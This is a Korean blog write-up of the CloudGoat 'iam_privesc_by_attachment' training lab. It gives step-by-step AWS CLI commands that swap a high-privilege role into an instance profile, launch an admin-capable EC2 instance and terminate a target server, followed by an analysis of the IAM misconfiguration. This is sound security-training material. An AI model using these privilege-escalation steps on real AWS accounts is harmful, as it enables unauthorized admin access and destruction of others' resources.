728x90
# Start
$ ./cloudgoat.py create iam_privesc_by_attachment
[+] Start.txt
[+] goal
Delete the EC2 instance "cg-super-critical-security-server.
- "cg-super-critical-security-server"라는 EC2 instance를 삭제하는 것이 목표다!
# Exploit Scenario
Step1. configure + 사용자 권한 확인
$ aws configure --profile Kerrigan
- start.txt에 저장되어 있던 Access Key ID와 Secret Access Key를 사용한다.
- Default region name은 "us-east-1"로 넣어줬다.
이렇게 사용자를 등록하고 난 후, Kerrigan에게 주어진 privileges를 확인해본다.
$ aws iam list-user-policies --user-name kerrigan --profile Kerrigan
$ aws iam list-attached-user-policies --user-name kerrigan --profile Kerrigan
- 현재 사용자 kerrigan의 상태에서는 policy 정보를 출력해볼 수 없다.
$ aws iam list-roles --profile Kerrigan
- 2 개의 IAM Role을 확인할 수 있다.
- cg-ec2-meek-role-iam_privesc_by_attachment_cgidm648t7hwvz
- cg-ec2-mighty-role-iam_privesc_by_attachment_cgidm648t7hwvz
Step2. list Instance
$ aws iam list-instance-profiles --profile Kerrigan
- 특정 경로 prefix에 대한 instance들을 나열한다.
$ aws ec2 describe-instances --profile Kerrigan
- 이 때 SSH 연결을 할 수 있는 security group id를 기억해둬야한다.
- 현재 cloudgoat name과 같은 애들로 잘 골라야한다!
Step3. remove & add role
$ aws iam remove-role-from-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidm648t7hwvz --role-name cg-ec2-meek-role-iam_privesc_by_attachment_cgidm648t7hwvz --profile Kerrigan
$ aws iam add-role-to-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidm648t7hwvz --role-name cg-ec2-mighty-role-iam_privesc_by_attachment_cgidm648t7hwvz --profile Kerrigan
Step4. new key pair
$ aws ec2 create-key-pair --key-name cg04 --profile Kerrigan --query 'KeyMaterial' --output text > cg04.pem
- 2048 bit의 RSA Key를 생성한다.
$ chmod 600 cg04.pem
- key의 권한을 수정한다.
Step5. new Instance
$ aws ec2 run-instances --image-id [ImageId] --instance-type t2.micro --iam-instance-profile Arn=[InstanceId] --key-name cg04 --subnet-id [SubnetId] --security-group-ids [sg Id] --region us-east-1 --profile Kerrigan
$ aws ec2 describe-instance-status --instance-ids i-0c34edea2474bfa54
- 생성한 인스턴스가 제대로 running 상태가 되었는지 확인한다.
- Public DNS 가 출력되지 않아 직접 들어가 확인했다. ((이렇게 하는 걸 의도한 것 같지는 않지만... 우선은..!
Step5. SSH into new Instance
$ sudo apt-get update
$ sudo apt-get install awscli
Step6. check permissions
$ aws iam list-attached-role-policies --role-name cg-ec2-mighty-role-iam_privesc_by_attachment_cgidm648t7hwvz
$ aws iam get-policy --policy-arn arn:aws:iam::356473621289:policy/cg-ec2-mighty-policy
$ aws iam get-policy-version --policy-arn arn:aws:iam::356473621289:policy/cg-ec2-mighty-policy --version-id v1
- 관리자 권한을 가진 인스턴스를 생성했다는 것을 확인할 수 있다.
Step7. terminate the instance
$ aws ec2 terminate-instances --instance-ids i-0b4e45e2ab91479ff --region us-east-1
- 새로 생성한 인스턴스가 아닌 기존의 인스턴스를 종료시킨다.
- 성공적으로 종료시킨 것을 확인할 수 있다.
[+] destroy
로그아웃하고난 후 destroy한다.
$ exit
$ cd ..
$ ./cloudgoat.py destroy iam_privesc_by_attachment_[]
(( + 그리고 계속 클라우드 고트를 하다보면 인스턴스가 생성되기 때문에 혹시 프리티어를 쓰고있다면 틈틈히 삭제해주자..!)
# Analyze
취약점
- 공격자가 "meek role"을 제거하고 인스턴스 프로필에 "mighty role"을 추가할 수 있다.
- mighty role을 디폴트 role으로 하는 새로운 인스턴스를 생성해 기존의 인스턴스를 제거할 수 있다.
발생 원인
- 사용자가 어떠한 인증없이 instance에 role을 삭제하고 추가할 수 있도록 되어있다.
- 낮은 권한의 사용자도 높은 권한을 적용시킨 인스턴스를 생성할 수 있다.
- 사용자에게 전체 roles에 대해 열람해볼 수 있도록 되어있다.
- 다른 인스턴스의 정보들을 모두 출력하고 public. private DNS 서버를 모두 확인할 수 있다.
# Trouble-shooting 🏹⚒
ssh 연결 후 pw 입력창 ?!
아마 이 경우라면 pem파일을 잘못 생성했을 가능성이 높다..!
ssh : connection refused
iam_privesc_by_attachment를 destroy 해보기도 하고,, 아예 클라우드고트도 다시 설치하고, iam user도 새로 생성해보기도 했지만,,!
이런 오류가 계속 발생했다.
멘토님께 질문드리니 아마 인스턴스의 리전(region) 문제일 가능성이 높다는 힌트를 얻을 수 있었다!!
생각해보니 계속 설정을 할 때 region을 "us-east-1"으로 바꿔 설정해줘야했었는데 뭔가 이런 부분에서 오류가 생긴 듯 하다!
https://ndb796.tistory.com/257
위의 블로그를 따라 region을 "us-east-1"으로 옮겼다.
SMALL
'이것저것 > Cloud' 카테고리의 다른 글
[CloudGoat] 6. rce_web_app (0) | 2021.08.18 |
---|---|
[CloudGoat] 5. ec2_ssrf (0) | 2021.08.17 |
[CloudGoat] 3. cloud_breach_s3 (0) | 2021.08.16 |
[CloudGoat] 2. lambda_privesc (0) | 2021.08.15 |
[CloudGoat] 1. iam_privesc_by_rollback (0) | 2021.08.15 |